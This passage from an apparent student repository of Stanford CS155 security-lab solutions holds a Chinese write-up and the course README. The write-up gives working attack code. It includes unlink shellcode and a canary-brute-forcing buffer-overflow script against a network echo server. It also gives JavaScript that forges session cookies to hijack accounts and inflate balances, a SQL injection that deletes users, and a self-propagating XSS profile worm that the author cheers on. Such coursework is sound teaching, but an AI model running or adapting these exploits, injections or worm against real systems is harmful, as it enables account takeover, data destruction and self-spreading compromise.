sockfd; 804 | } 805 | 806 | int main() { 807 | char *portstr = "5555"; 808 | int serverfd = start_server(portstr); 809 | warnx("Listening on port %s", portstr); 810 | signal(SIGCHLD, SIG_IGN); 811 | signal(SIGPIPE, SIG_IGN); 812 | 813 | for (;;) { 814 | int clientfd = accept(serverfd, NULL, NULL); 815 | int pid; 816 | switch ((pid = fork())) 817 | { 818 | case -1: /* error */ 819 | err(1, "fork"); 820 | close(clientfd); 821 | case 0: /* child */ 822 | echo_server(clientfd); 823 | break; 824 | default: /* parent */ 825 | close(clientfd); 826 | } 827 | } 828 | 829 | return 0; 830 | } 831 | ``` 832 | 题目的要求是,攻击本地服务器,删除文件`/tmp/passwd`,要实现shellcode也要实现buffer overflow 833 | 834 | 首先分析下target,main函数很长,要攻击的部分很短,只有以下这部分,其他都是实现一个echo服务器。可以看出,就是stack smash,但是打开`Makefile`可以看到这一行,他把`-fstack-protector-all`给打开了,导致会加上stack guard来防止buffer overflow。这个实验的目的就是学会如何绕开stack canary从而实现攻击。 835 | 836 | 特别要注意的一点是,`\n`的ascii码是`\x0a`,`int freadline(int fd, char *buf)`函数中,当遇到`\n`时会停下,所以**输入的buf中不能有`\x0a`** 837 | ```Makefile 838 | extra-credit.o: extra-credit.c 839 | $(CC) $< -c -o $@ -fstack-protector-all -ggdb -m32 -g -std=c99 -D_GNU_SOURCE 840 | ``` 841 | ```c 842 | int freadline(int fd, char *buf) { 843 | int i = 0; 844 | char next; 845 | for (;;) { 846 | int c = read(fd, &next, 1); 847 | if (c <= 0) { 848 | break; 849 | } 850 | 851 | if (next == '\n') { 852 | return i; 853 | } 854 | 855 | buf[i] = next; 856 | 857 | i++; 858 | } 859 | return -1; 860 | } 861 | 862 | int respond_once(int clientfd) { 863 | char buf[2048]; 864 | 865 | int line_len = freadline(clientfd, buf); 866 | if (line_len <= 0) { 867 | write(clientfd, "done\r\n", 6); 868 | close(clientfd); 869 | return -1; 870 | } 871 | 872 | write(clientfd, buf, line_len); 873 | write(clientfd, "\r\n", 2); 874 | return line_len; 875 | } 876 | ``` 877 | 先来实现shellcode,要删除/tmp/passwd可以用系统调用`unlink`,但是特别要注意的是,**`unlink`的syscall_no就是10也就是`\x0a`**,这会导致shellcode拷贝了一半就停下echo回来了。所以要把`%al`里面的10拆开,先放入5然后再放入5即可 878 | ```asm 879 | #include 880 | 881 | #define STRING "/tmp/passwd" 882 | #define STRLEN 11 883 | #define ARGV (STRLEN+1) 884 | #define ENVP (ARGV+4) 885 | 886 | .globl main 887 | .type main, @function 888 | 889 | main: 890 | jmp calladdr 891 | 892 | popladdr: 893 | popl %esi 894 | movl %esi,(ARGV)(%esi) /* set up argv pointer to pathname */ 895 | xorl %eax,%eax /* get a 32-bit zero value */ 896 | movb %al,(STRLEN)(%esi) /* null-terminate our string */ 897 | movl %eax,(ENVP)(%esi) /* set up null envp */ 898 | 899 | movb $5,%al /* syscall arg 1: syscall number */ 900 | add $5,%al 901 | movl %esi,%ebx /* syscall arg 2: string pathname */ 902 | leal ARGV(%esi),%ecx /* syscall arg 2: argv */ 903 | leal ENVP(%esi),%edx /* syscall arg 3: envp */ 904 | int $0x80 /* invoke syscall */ 905 | 906 | xorl %ebx,%ebx /* syscall arg 2: 0 */ 907 | movl %ebx,%eax 908 | inc %eax /* syscall arg 1: SYS_exit (1), uses */ 909 | /* mov+inc to avoid null byte */ 910 | int $0x80 /* invoke syscall */ 911 | 912 | calladdr: 913 | call popladdr 914 | .ascii STRING 915 | 916 | ``` 917 | 有了shellcode就可以overflow buffer啦,先来看看这个stack canary到底是什么鬼,看到`0x080488c7`位置,`mov -0xc(%ebp),%edx`然后`xor %gs:0x14,%edx`,可以看出`%ebp`往下12的位置是canary,xor为了验证是否一样,如果canary变了,`__stack_chk_fail`会报错。(好像通过修改GOT来改变`__stack_chk_fail`的跳转地址也能实现攻击) 918 | ```console 919 | (gdb) disass respond_once 920 | Dump of assembler code for function respond_once: 921 | 0x08048816 <+0>: push %ebp 922 | 0x08048817 <+1>: mov %esp,%ebp 923 | 0x08048819 <+3>: sub $0x828,%esp 924 | 0x0804881f <+9>: mov 0x8(%ebp),%eax 925 | 0x08048822 <+12>: mov %eax,-0x81c(%ebp) 926 | 0x08048828 <+18>: mov %gs:0x14,%eax 927 | 0x0804882e <+24>: mov %eax,-0xc(%ebp) 928 | 0x08048831 <+27>: xor %eax,%eax 929 | 0x08048833 <+29>: sub $0x8,%esp 930 | 0x08048836 <+32>: lea -0x80c(%ebp),%eax 931 | 0x0804883c <+38>: push %eax 932 | 0x0804883d <+39>: pushl -0x81c(%ebp) 933 | 0x08048843 <+45>: call 0x804879b 934 | 0x08048848 <+50>: add $0x10,%esp 935 | 0x0804884b <+53>: mov %eax,-0x810(%ebp) 936 | 0x08048851 <+59>: cmpl $0x0,-0x810(%ebp) 937 | 0x08048858 <+66>: jg 0x804888a 938 | 0x0804885a <+68>: sub $0x4,%esp 939 | 0x0804885d <+71>: push $0x6 940 | 0x0804885f <+73>: push $0x8048bf0 941 | 0x08048864 <+78>: pushl -0x81c(%ebp) 942 | 0x0804886a <+84>: call 0x80485d0 943 | 0x0804886f <+89>: add $0x10,%esp 944 | 0x08048872 <+92>: sub $0xc,%esp 945 | 0x08048875 <+95>: pushl -0x81c(%ebp) 946 | 0x0804887b <+101>: call 0x8048680 947 | 0x08048880 <+106>: add $0x10,%esp 948 | 0x08048883 <+109>: mov $0xffffffff,%eax 949 | 0x08048888 <+114>: jmp 0x80488c7 950 | 0x0804888a <+116>: mov -0x810(%ebp),%eax 951 | 0x08048890 <+122>: sub $0x4,%esp 952 | 0x08048893 <+125>: push %eax 953 | 0x08048894 <+126>: lea -0x80c(%ebp),%eax 954 | 0x0804889a <+132>: push %eax 955 | 0x0804889b <+133>: pushl -0x81c(%ebp) 956 | 0x080488a1 <+139>: call 0x80485d0 957 | 0x080488a6 <+144>: add $0x10,%esp 958 | 0x080488a9 <+147>: sub $0x4,%esp 959 | 0x080488ac <+150>: push $0x2 960 | 0x080488ae <+152>: push $0x8048bf7 961 | 0x080488b3 <+157>: pushl -0x81c(%ebp) 962 | 0x080488b9 <+163>: call 0x80485d0 963 | 0x080488be <+168>: add $0x10,%esp 964 | 0x080488c1 <+171>: mov -0x810(%ebp),%eax 965 | 0x080488c7 <+177>: mov -0xc(%ebp),%edx 966 | 0x080488ca <+180>: xor %gs:0x14,%edx 967 | 0x080488d1 <+187>: je 0x80488d8 968 | 0x080488d3 <+189>: call 0x8048590 <__stack_chk_fail@plt> 969 | 0x080488d8 <+194>: leave 970 | 0x080488d9 <+195>: ret 971 | End of assembler dump. 972 | ``` 973 | 下面开始暴力破解canary,canary的大小是4个byte,比如`0xc5298600`,因为little edian,在内存里面表示是`\x00\x86\x29\xc5`,只要逐个十六进制数破解即可,然后塞入8个byte的JUNK,然后是`%old_ebp`,然后就是`return address`,所以buffer如下所示 974 | ```python 975 | final_exploit = sploitstring + canary + "JUNKJUNK" + struct.pack(" /tmp/passwd; ./extra-credit.py 127.0.0.1 5555; ls /tmp/ 984 | extra-credit target1 target3 target5 985 | systemd-private-cb4299414fa940e5bdeb7372cd9880ab-systemd-timesyncd.service-TZOrP2 target2 target4 target6 986 | ``` 987 | ```python 988 | #!/usr/bin/python2 989 | import sys 990 | import socket 991 | import traceback 992 | import struct 993 | 994 | #### 995 | 996 | ## This function takes your exploit code, adds a carriage-return and newline 997 | ## and sends it to the server. The server will always respond, but if the 998 | ## exploit crashed the server it will close the connection. Therefore, we try 999 | ## to write another query to the server, recv on the socket and see if we get 1000 | ## an exception 1001 | ## 1002 | ## True means the exploit made the server close the connection (i.e. it crashed) 1003 | ## False means the socket is still operational. 1004 | def try_exploit(exploit, host, port): 1005 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 1006 | sock.connect((host, port)) 1007 | sock.send("%s\n" % exploit) 1008 | b = 0 1009 | while b < (len(exploit) + 1): 1010 | mylen = len(sock.recv(4098)) 1011 | b += mylen 1012 | if mylen == 0: 1013 | return True 1014 | sock.send("\n") 1015 | try: 1016 | return len(sock.recv(5)) == 0 1017 | except: 1018 | return True 1019 | 1020 | def exploit(host, port, shellcode): 1021 | # Build your exploit here 1022 | # One useful function might be 1023 | # struct.pack(" { 1071 | if(req.session.loggedIn == false) { 1072 | render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!'); 1073 | return; 1074 | }; 1075 | 1076 | if(req.query.username != null) { // if visitor makes a search query 1077 | const db = await dbPromise; 1078 | const query = `SELECT * FROM Users WHERE username == "${req.query.username}";`; 1079 | let result; 1080 | try { 1081 | result = await db.get(query); 1082 | } catch(err) { 1083 | result = false; 1084 | } 1085 | if(result) { // if user exists 1086 | render(req, res, next, 'profile/view', 'View Profile', false, result); 1087 | } 1088 | else { // user does not exist 1089 | render(req, res, next, 'profile/view', 'View Profile', `${req.query.username} does not exist!`, req.session.account); 1090 | } 1091 | } else { // visitor did not make query, show them their own profile 1092 | render(req, res, next, 'profile/view', 'View Profile', false, req.session.account); 1093 | } 1094 | })); 1095 | ``` 1096 | 1097 | 这里要注意一下几点 1098 | 1099 | - 如果用户不存在,会用蓝色显示**xx does not exist!**,因此需要加入`
1173 | 1174 | 1175 |
1176 | 1177 | 1178 | 1179 | ``` 1180 | 1181 | ## Exploit Charlie Session Hijacking with Cookies 1182 | 题目的意思是,Login的时候是attacker,但想要登陆user1的账号,并完成转账。先来看下cookie中的session是什么鬼,可以看到,session其实是一串base64的编码 1183 | ```console 1184 | $ document.cookie 1185 | "session=eyJsb2dnZWRJbiI6dHJ1ZSwiYWNjb3VudCI6eyJ1c2VybmFtZSI6ImF0dGFja2VyIiwiaGFzaGVkUGFzc3dvcmQiOiIwZmM5MjFkY2NmY2IwNzExMzJlNzIzODVmMTBkOTFkY2IyMTM5ODM3OTJkZmU5M2RlOGI1ZDMyNzRiNWE1Y2Y1Iiwic2FsdCI6IjIxODM0NzA4NDkyOTcwODYwMzY4OTQwNzEwMTMxNTYwMjE4NzQxIiwicHJvZmlsZSI6IiIsImJpdGJhcnMiOjIwfX0=" 1186 | ``` 1187 | 用`atob()`解码看看 1188 | ```json 1189 | "{\"loggedIn\":true,\"account\":{\"username\":\"attacker\",\"hashedPassword\":\"0fc921dccfcb071132e72385f10d91dcb213983792dfe93de8b5d3274b5a5cf5\",\"salt\":\"21834708492970860368940710131560218741\",\"profile\":\"\",\"bitbars\":0}}" 1190 | ``` 1191 | 再看看服务器登陆的验证机制,发现只判断了`session.loggedIn`以及去db查询`username`是否在db里,所以可以直接更改`username`来劫持session 1192 | ```javascript 1193 | router.get('/profile', asyncMiddleware(async (req, res, next) => { 1194 | if(req.session.loggedIn == false) { 1195 | render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!'); 1196 | return; 1197 | }; 1198 | 1199 | if(req.query.username != null) { // if visitor makes a search query 1200 | const db = await dbPromise; 1201 | const query = `SELECT * FROM Users WHERE username == "${req.query.username}";`; 1202 | let result; 1203 | try { 1204 | result = await db.get(query); 1205 | } catch(err) { 1206 | result = false; 1207 | } 1208 | if(result) { // if user exists 1209 | render(req, res, next, 'profile/view', 'View Profile', false, result); 1210 | } 1211 | else { // user does not exist 1212 | render(req, res, next, 'profile/view', 'View Profile', `${req.query.username} does not exist!`, req.session.account); 1213 | } 1214 | } else { // visitor did not make query, show them their own profile 1215 | render(req, res, next, 'profile/view', 'View Profile', false, req.session.account); 1216 | } 1217 | })); 1218 | ``` 1219 | 进行以下更改即可实现session劫持并完成转账 1220 | ```javascript 1221 | function getCookie(name) { 1222 | var value = "; ".concat(document.cookie); 1223 | var parts = value.split("; ".concat(name).concat("=")); 1224 | if (parts.length == 2) 1225 | return parts.pop().split(";").shift(); 1226 | } 1227 | var cookie = getCookie("session"); 1228 | var json = atob(cookie); 1229 | var jsonObj = JSON.parse(json); 1230 | jsonObj.account.username = "user1"; 1231 | jsonObj.account.bitbars = 200 1232 | var user1Cookie = JSON.stringify(jsonObj); 1233 | document.cookie = "session=".concat(btoa(user1Cookie)); 1234 | ``` 1235 | ## Exploit Delta Cooking the Books with Cookies 1236 | attacker给user1转账1块,然后attacker账户有一个million,方法和C完全相同,由于`transfer`过程中,BitBar数量是从session中获得,所以只要transfer一块就能把任意的数量的BitBar在数据库中固定 1237 | ```javascript 1238 | req.session.account.bitbars -= amount; 1239 | query = `UPDATE Users SET bitbars = "${req.session.account.bitbars}" WHERE username == "${req.session.account.username}";`; 1240 | await db.exec(query); 1241 | ``` 1242 | 具体js如下所示 1243 | ```javascript 1244 | function getCookie(name) { 1245 | var value = "; ".concat(document.cookie); 1246 | var parts = value.split("; ".concat(name).concat("=")); 1247 | if (parts.length == 2) 1248 | return parts.pop().split(";").shift(); 1249 | } 1250 | var cookie = getCookie("session"); 1251 | var json = atob(cookie); 1252 | var jsonObj = JSON.parse(json); 1253 | jsonObj.account.bitbars = 1000000 1254 | var attackerCookie = JSON.stringify(jsonObj); 1255 | document.cookie = "session=".concat(btoa(attackerCookie)); 1256 | ``` 1257 | 1258 | ## Exploit Echo SQL Injection 1259 | 题目要求,创建一个新的用户,点击`close`时候删除`user3`,然后也要删除刚刚新建的账号,掩人耳目2333333 1260 | 1261 | `close`的API接口如下,可以看到SQL命令把整个`username`都放进去了,所以可以注入SQL,注意题目要求不仅仅删除`user3`还要删除刚刚新建的,docker里面用的是SQLite,查doc发现只有LIKE操作,所以可以添加以下用户 1262 | 1263 | ```SQL 1264 | user3" OR username LIKE 'user3" OR username LIKE %'; 1265 | ``` 1266 | 1267 | 完整的SQL命令如下 1268 | ```SQL 1269 | DELETE FROM Users WHERE username == " user3" OR username LIKE 'user3" OR username LIKE %'; "; 1270 | ``` 1271 | 1272 | `close` API最后log一下db,发现`user3`已经消失了 1273 | ```javascript 1274 | router.get('/close', asyncMiddleware(async (req, res, next) => { 1275 | if(req.session.loggedIn == false) { 1276 | render(req, res, next, 'login/form', 'Login', 'You must be logged in to use this feature!'); 1277 | return; 1278 | }; 1279 | const db = await dbPromise; 1280 | const query = `DELETE FROM Users WHERE username == "${req.session.account.username}";`; 1281 | await db.get(query); 1282 | req.session.loggedIn = false; 1283 | req.session.account = {}; 1284 | render(req, res, next, 'index', 'Bitbar Home', 'Deleted account successfully!'); 1285 | logDatabaseState(); 1286 | })); 1287 | ``` 1288 | 1289 | ## Exploit Foxtrot Profile Worm 1290 | 题目要求,`attacker`在自己的profile上post自己的profile,其他用户如`user1`访问了`attacker`的profile时,会自动给`attacker`转账一块钱,然后复制这个worm,从而可以感染其他访问`user1`的无辜用户 1291 | 1292 | - 可参考著名的**Samy Worm**蠕虫病毒,20小时感染一百万账户,牛逼的不行💯,以及他自己写的代码解析 1293 | - [Wikipedia: 萨米 (计算机蠕虫)](https://zh.wikipedia.org/wiki/%E8%90%A8%E7%B1%B3_(%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A0%95%E8%99%AB)) 1294 | - [MySpace Worm Explanation](https://samy.pl/myspace/tech.html) 1295 | 1296 | 首先,看下profile是怎样表示的,没有任何处理直接把`result.profile`贴进HTML,和之前方法一样直接注入HTML攻击 1297 | ```html 1298 | <% if (result.username && result.profile) { %> 1299 |
<%- result.profile %>
1300 | <% } %> 1301 | ``` 1302 | 与之前`b.html`的方法完全类似 1303 | 1304 | - **复制病毒** 1305 | 1306 | ``有个`onload`事件,会运行`load()`,这时候会把`textarea`的东西填满,然后提交表格,也就是把这个profile worm复制到自己的profile中。这里卡了好久,一开始想写一个函数,可以返回函数本体,然后陷入了无穷嵌套根本绕不出来😕去看下Samy大神是做self replicate的 1307 | > 1308 | 5) In order to post the code to the user's profile who is viewing it, we need to actually get the source of the page. Ah, we can use document.body.innerHTML in order to get the page source which includes, in only one spot, the ID of the user viewing the page. Myspace gets me again and strips out the word "innerHTML" anywhere. To avoid this, we use an eval() to evaluate two strings and put them together to form "innerHTML". 1309 | Example: alert(eval('document.body.inne' + 'rHTML')); 1310 | > 1311 | 1312 | 妈呀,好机智,直接用innerHTML不就好了嘛,最蠢的方法,最外面包一个`
".concat(document.getElementById('forge').innerHTML).concat("
"); 1315 | ``` 1316 | 但是发现,这样做其实是不够的,因为拿innerHTML时候,`` tag就木有了,试了一下只有``的onload最好用,用个很傻的方法,在`
`外面包上两个hidden的`

` tag,然后替换他们时候加上``,具体如下 1317 | ```javascript 1318 | var textarea = "

".concat(document.getElementById('forge').innerHTML).concat("
") 1319 | .replace('', '') 1320 | .replace('', ''); 1321 | ``` 1322 | 这样就能保证每次都能复制worm病毒啦啦啦 1323 | 1324 | - **提交form** 1325 | 1326 | 与之前的类似,提交form的逻辑是,首先调用`load()`,提交`
`并把刷新结果指向隐藏的`iframe1`,然后调用`transferMoney()`,提交``并把刷新结果指向隐藏的`iframe2` 1327 | 1328 | 完整的profile worm代码如下所示,尽情地传播吧!我的蠕虫🐛!嘻嘻😆 1329 | ```html 1330 |
1331 | Money money I want money 1332 | 1354 | 1355 | 1356 | 1357 | 1358 | 1359 |
1360 | 1361 | 1362 |
1363 | 1364 | 1365 | 1366 | 1367 | 1368 | 1371 |
1372 | ``` -------------------------------------------------------------------------------- /proj1/ID.csv: -------------------------------------------------------------------------------- 1 | #SUID,username,lastname,firstname 2 | 12345678,eleethaxor,Smith,Jane 3 | 98765432,comm4nd4,Smith,Jane 4 | -------------------------------------------------------------------------------- /proj1/Makefile: -------------------------------------------------------------------------------- 1 | submission: 2 | tar cvzf submission.tar.gz \ 3 | --exclude-backups --exclude='sploit[1-6]' --exclude=run-shellcode \ 4 | --exclude='*.o' --exclude='*.bin' --ignore-failed-read \ 5 | sploits/ ID.csv fuzz/README fuzz/results/fuzzer_stats fuzz/results/crashes/ 6 | -------------------------------------------------------------------------------- /proj1/README: -------------------------------------------------------------------------------- 1 | ================================== 2 | 155: Computer Security Spring 2017 3 | ================================== 4 | 5 | Project 1 6 | ========= 7 | 8 | Due: Part 1: Thursday, April 13 - 11:59pm, 9 | Due: Parts 2 and 3: Thursday, April 20 - 11:59pm. 10 | 11 | 12 | The goal of this assignment is to gain hands-on experience finding 13 | vulnerabilities in code and mounting buffer overflow attacks. In Parts 1 and 2, 14 | you are given the source code for six exploitable programs which are to be 15 | installed with setuid root in a virtual machine we provide. You'll have to 16 | identify a vulnerability (buffer overflow, double free, format string 17 | vulnerability, etc.) in each program. You'll write an exploit for each that 18 | executes the vulnerable program with crafted argument, causing it to jump to an 19 | exploit string. In each instance, the result will yield a root shell even 20 | though the attack was run by an unprivileged user. In Part 3, you will use a 21 | fuzzer to find a vulnerabiilty in a program called bsdtar, part of a widely 22 | used library called libarchive. You'll download and build the vulnerable 23 | version of libarchive in your VM and then run the fuzzer to find an input that 24 | causes the program to crash. 25 | 26 | The Environment 27 | --------------- 28 | 29 | You'll run your exploits in a virtual machine (VM) provided for the assignment. 30 | This serves two purposes. First, the vulnerable programs contain real, 31 | exploitable vulnerabilities and we strongly advise against installing them with 32 | setuid root on your machine. Second, everything from the particular compiler 33 | version, to the operating system and installed library versions will affect the 34 | exact location of code on the stack. The VM provides an identical environment 35 | to the one in which the assignment will be tested for grading. 36 | 37 | The VM is configured with Ubuntu Linux 16.04 LTS, with ASLR (address 38 | randomization) turned off. It has a single user account "user" with password 39 | "cs155", but you can temporarily become the root user using sudo. The 40 | exploits will be run as "user" and should yield a command line shell 41 | (/bin/sh) running as "root". The VM comes with a set of tools pre-installed 42 | (curl, wget, openssh, gcc, vim etc), but feel free to install additional 43 | software. For example, to install the emacs editor, you can run as root: 44 | 45 | $ apt-get install emacs 46 | 47 | When you first run the VM, it will have an OpenSSH server running so you can 48 | login from your host machine as well as transfer files using, e.g., ssh 49 | and scp. You can login to the VM from your host machine using the 50 | command: 51 | 52 | $ ssh user@192.168.56.155 53 | 54 | The VM already contains the starter code in the proj1 directory. 55 | 56 | 57 | Parts 1 and 2 58 | ============= 59 | 60 | Parts 1 and 2 ask you to develop exploits for six different vulnerable target 61 | programs. 62 | 63 | Targets 64 | ------- 65 | 66 | The targets/ directory in the assignment tarball (which has already been copied 67 | to the VM for you) contains the source code for the vulnerable targets as well 68 | as a Makefile for building and installing them on the VM. Specifically, to 69 | install the target programs, as the non-root "user": 70 | 71 | $ cd targets 72 | $ make 73 | $ sudo make install 74 | 75 | This will compile all of the target programs, set the executable stack flag on 76 | each of the resulting executables, and install them with setuid root in /tmp. 77 | 78 | Your exploits must assume that the target programs are installed in /tmp/ such 79 | as /tmp/target1, /tmp/target2, etc. 80 | 81 | Exploit Skeleton Code 82 | --------------------- 83 | 84 | The sploits/ directory in the assignment tarball contains skeleton code for the 85 | exploits you'll write, named sploit1.c, sploit2.c, etc., to correspond with the 86 | targets. Also included is the header file shellcode.h, which provides Aleph 87 | One's shellcode in the static variable static const char* shellcode. 88 | 89 | 90 | Part 3 91 | ====== 92 | 93 | In Part 3 you'll learn how to find security vulnerabilities using a fuzzer 94 | called American Fuzzy Lop. Fuzzing is a technique for finding vulnerabilities 95 | in a program by running the program on random data until it crashes. We will be 96 | using afl-fuzz, one of the most successful and widely-used fuzzers currently 97 | available. afl-fuzz has already been installed on the VM. You can read more 98 | about afl-fuzz and how it works at http://lcamtuf.coredump.cx/afl/. 99 | 100 | Fuzzing libarchive 101 | ------------------ 102 | 103 | You will be fuzzing libarchive (https://www.libarchive.org/), a widely used 104 | archive and compression library. It provides a program called bsdtar that 105 | offers similar functionality to the more common GNU tar program. For example, 106 | you can use bsdtar to extract a .tar.gz file in the same way as regular tar: 107 | 108 | $ bsdtar -xf .tar.gz 109 | 110 | In the proj1/fuzz/ directory, download and extract the source code for 111 | libarchive version 3.1.2: 112 | 113 | $ curl -O http://www.libarchive.org/downloads/libarchive-3.1.2.tar.gz 114 | $ tar -xf libarchive-3.1.2.tar.gz 115 | 116 | This should give you a directory called libarchive-3.1.2/. In that 117 | directory, run: 118 | 119 | $ CC=afl-gcc ./configure --prefix=$HOME/proj1/fuzz/install 120 | 121 | This will configure libarchive so that it will be built using the afl-fuzz 122 | compiler, afl-gcc, and so that it will install itself in the install/ directory 123 | rather than system-wide. You can then build and install libarchive, including 124 | bsdtar: 125 | 126 | $ make 127 | $ make install 128 | 129 | (Note that we are not using sudo.) After this, bsdtar should be installed under 130 | install/bin/. 131 | 132 | The fuzz/testcases/ directory contains a seed testcase that afl-fuzz will 133 | modify to try to crash bsdtar. Run afl-fuzz on this testcase by running the 134 | following command from the fuzz/ directory: 135 | 136 | $ afl-fuzz -i testcases -o results install/bin/bsdtar -O -xf @@ 137 | 138 | This command instructs afl-fuzz to run bsdtar and supply the arguments -O -xf 139 | @@. The -O (capital-O, not numeral-0) option tells bsdtar to not write any 140 | files to disk. afl-fuzz will replace @@ with the name of the input to test for 141 | a crash, so the -xf @@ part will cause bsdtar to try to extract the input file 142 | generated by afl-fuzz. The result is that afl-fuzz will generate a bunch of 143 | test cases based on the seeds in the testcases/ directory and then run bsdtar 144 | on each generated file until bsdtar crashes. 145 | 146 | The fuzzer may run for several minutes before finding a crash. Once it does, 147 | hit Ctrl-C to stop AFL. 148 | 149 | Write-up 150 | -------- 151 | 152 | Spend a few minutes investigating the crash. Use GDB to get a backtrace at the 153 | time of the crash. Try to figure out what the vulnerability is in the source 154 | code. 155 | 156 | In the fuzz/README file, include your backtrace from GDB and briefly describe 157 | the vulnerability (two or three sentences; no more than 200 words). 158 | 159 | 160 | Deliverables 161 | ============ 162 | 163 | The assignment is divided into three parts: 164 | 165 | 1. Part 1 (due on April 13th 11:59pm) consists of targets 1 and 2. 166 | 167 | 2. Part 2 consists of the other four targets. 168 | 169 | 3. Part 3 (which you will submit together with Part 2) consists of fuzzing a 170 | real-world program (bsdtar) to find a vulnerability. 171 | 172 | For each submission, you'll need to provide a gzipped tarball (.tar.gz) 173 | generated by running make submission from the top-level directory of the 174 | assignment source (proj1/). This tarball will contain the contents of the 175 | sploits/ directory, the crashes found during fuzzing, the README in the 176 | fuzz/ directory, and ID.csv. 177 | Make sure that if you extract your submission tarball: 178 | 179 | 1. In the extracted sploits/ directory, running make with no arguments should 180 | yield sploit1 through sploit6 executables in the same directory. 181 | 182 | 2. In the extracted fuzz/ directory, running the vulnerable version of bsdtar 183 | on any of the crashing testcases should reproduce the crash. 184 | 185 | 3. In the extracted fuzz/ directory, there should be a README file that 186 | describes the vulnerability found via fuzzing. 187 | 188 | 4. The tarball must include the file ID.csv which conatins a comma-separated 189 | line for each group member with your SUID number, Leland username, last 190 | name, first name (order matters). The top-level directory already contains 191 | such a file, so you just need to modify it. 192 | 193 | NOTE: Due to the size of the class, the correctness of your 194 | submission will be graded primarily by script. As a result, following the the 195 | submission format is important. We really, really want to give you full credit! 196 | Help us help you! 197 | 198 | Instructions for submitting the tarball will be posted on Piazza. 199 | 200 | 201 | Extra Credit 202 | ============ 203 | 204 | The extra credit for this assignment is quite different from the rest of the 205 | assignment. Most significantly, you'll mount an exploit on a binary that has 206 | stack canaries turned on (specifically, GCC's stack protector). Because of the 207 | nature of exploits on canaries, you'll be attacking the program over the 208 | network rather than by invoking it through a call to exec. This will also 209 | require different shell code. 210 | 211 | The Vulnerable Program 212 | ---------------------- 213 | 214 | In the targets/ directory, extra-credit.c is a forking network echo server. It 215 | listens for TCP connections on port 5555, for each connection it forks and, in 216 | the child process, reads in lines (separated by a carriage return and newline 217 | characters, ) from the client, echoes them back until it reads an empty line. 218 | You're goal is to construct a payload to send over the network that redirects 219 | execution of the child process handling your connection to unlink the file 220 | /tmp/passwd. To achieve this you'll have to do two things: 221 | 222 | 1. Write new shell code that unlinks the file /tmp/passwd instead of execing 223 | /bin/sh. We've provided a file shellcode.S with the latter and a Makefile 224 | target (shellcode.bin) that compiles the shellcode into binary format such 225 | that it can be used in your exploit. 226 | 227 | 2. In the sploits directory, we've included a python script extra-credit.py 228 | that can serve as skeleton code for your exploit. It reads in shellcode.bin 229 | (which is compiled from shellcode.S), as well as connects to the vulnerable 230 | server. Modify extra-credit.py to mount your exploit. Note that the function 231 | tryexploit takes an exploit string and the connection socket, sends the 232 | exploit string across and returns True if the connection died and False if 233 | it is still alive (how can you use this signal?). 234 | 235 | 236 | Extra Credit Deliverables 237 | 238 | For the extra credit, you should include two files in your submission.tar.gz: 239 | 240 | 1. A text file extra-credit.txt in the sploits/ directory with 241 | no more than 500 words answering the questions: 242 | 243 | a. How does your exploit work? 244 | 245 | b. What would you modify GCC's stack canaries mechanism, or Linux's fork 246 | syscall to protect against your attack? 247 | 248 | 2. The modified file extra-credit.py. 249 | 250 | Hints 251 | ----- 252 | 253 | Suppose you overflowed a buffer such that only a single byte of the 254 | canary is overwritten. If the process crashes and the connection is closed, 255 | what does that tell you? Conversely, if it doesn't crash, what does that tell 256 | you? 257 | 258 | The syscall number for unlink is 0x0a (10 in decimal), which is also the 259 | newline character in ASCII. Does this matter? How might you get around this? 260 | 261 | You can debug a running process with gdb by passing the -p argument with 262 | process ID of the target process. Note that each child process (the result of 263 | fork will have a different process ID). 264 | 265 | We strongly encourage you to use a NOP slide for this problem, even if you are 266 | able to find an exact address for the shellcode. In previous years we've 267 | noticed some variability in the exact position of things in memory that 268 | resulted in some student's solutions failing in the grading VM. Using a NOP 269 | slide will help prevent this problem. 270 | 271 | 272 | Late Policy 273 | =========== 274 | 275 | The general course policy on late submissions applies to this assignment. The 276 | policy is details in the course overview on the website: 277 | http://crypto.stanford.edu/cs155/info.html 278 | 279 | 280 | Setup: Set-by-step 281 | ================== 282 | 283 | Download the VM from 284 | http://crypto.stanford.edu/cs155/hw_and_proj/proj1/vm-cs155.tar.gz and 285 | extract. The tarball contains a file CS155.ova, which is an Open Virtualization 286 | Format archive of the virtual machine. 287 | 288 | Import the virtual machine using VirtualBox. We strongly recommend using 289 | VirtualBox. VirtualBox is free for Windows, macOS, and Linux, and the virtual 290 | machine was developed and tested using VirtualBox. To import the virtual 291 | machine, choose "File", "Import Appliance", and select the CS155.ova file. 292 | This will set up a new virtual machine called CS155. Note that you might need 293 | to set network adapter 2 to use a host-only network if SSH doesn't work out of 294 | the box. 295 | 296 | Once the VM has booted, login with username "user" and password "cs155". 297 | Your home directory will now contain the folder "proj1" which contains the 298 | targets and starter code for the project. The VM should be configured with a 299 | host-only network adapter and static IP address 192.168.56.155, so you should 300 | also be able to log in using SSH from your host: 301 | 302 | $ ssh user@192.168.56.155 303 | 304 | Once logged in, build and install the targets: 305 | 306 | $ cd proj1/targets 307 | $ make && sudo make install 308 | Password: cs155 309 | 310 | Write, build and test your exploits: 311 | 312 | $ cd ../sploits 313 | ...edit,test... 314 | $ make 315 | $ ./sploit1 316 | 317 | If at any point you'd like a fresh copy of the starter code, you can download 318 | the assignment tarball from 319 | http://crypto.stanford.edu/cs155/hw_and_proj/proj1/proj1.tar.gz and 320 | extract it: 321 | 322 | $ wget http://crypto.stanford.edu/cs155/hw_and_proj/proj1/proj1.tar.gz 323 | $ tar xzf proj1.tar.gz 324 | 325 | Then repeat the build and installation steps above. 326 | -------------------------------------------------------------------------------- /proj1/fuzz/README: -------------------------------------------------------------------------------- 1 | TODO: Include a stack trace from GDB of bsdtar crashing on an input found by 2 | afl-fuzz. Briefly describe what the vulnerability is in the libarchive source 3 | code (2-3 sentences). 4 | -------------------------------------------------------------------------------- /proj1/fuzz/testcases/bsdtar-testcase: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codeyq/cs155/06e13e4bcd1962a4875bd56e65178f947f617e41/proj1/fuzz/testcases/bsdtar-testcase -------------------------------------------------------------------------------- /proj1/proj1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codeyq/cs155/06e13e4bcd1962a4875bd56e65178f947f617e41/proj1/proj1.pdf -------------------------------------------------------------------------------- /proj1/sanity.sh: -------------------------------------------------------------------------------- 1 | 